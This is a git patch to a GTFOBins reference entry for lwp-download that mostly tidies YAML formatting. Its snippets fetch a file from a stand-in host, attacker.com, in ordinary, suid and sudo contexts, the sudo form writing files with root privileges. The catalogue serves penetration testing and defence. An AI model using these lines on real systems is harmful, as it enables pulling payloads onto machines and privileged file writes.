From ec91e7b41758e7980dbac470b6d658d445b931a6 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 17 Mar 2020 20:41:18 +0100 Subject: [PATCH] Improve lwp-download --- _gtfobins/lwp-download.md | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/_gtfobins/lwp-download.md b/_gtfobins/lwp-download.md index efc04a6..f110a03 100644 --- a/_gtfobins/lwp-download.md +++ b/_gtfobins/lwp-download.md @@ -1,21 +1,19 @@ --- +description: Fetch a remote file via HTTP GET request. functions: file-download: - - description: Fetch a remote file via HTTP GET request. - code: | - export URL=http://attacker.com/file_to_get - export LFILE=file_to_save + - code: | + URL=http://attacker.com/file_to_get + LFILE=file_to_save lwp-download $URL $LFILE suid: - - description: Fetch a remote file via HTTP GET request. - code: | - export URL=http://attacker.com/file_to_get - export LFILE=file_to_save + - code: | + URL=http://attacker.com/file_to_get + LFILE=file_to_save ./lwp-download $URL $LFILE sudo: - - description: Fetch a remote file via HTTP GET request. - code: | - export URL=http://attacker.com/file_to_get + - code: | + URL=http://attacker.com/file_to_get export LFILE=file_to_save sudo -E lwp-download $URL $LFILE ---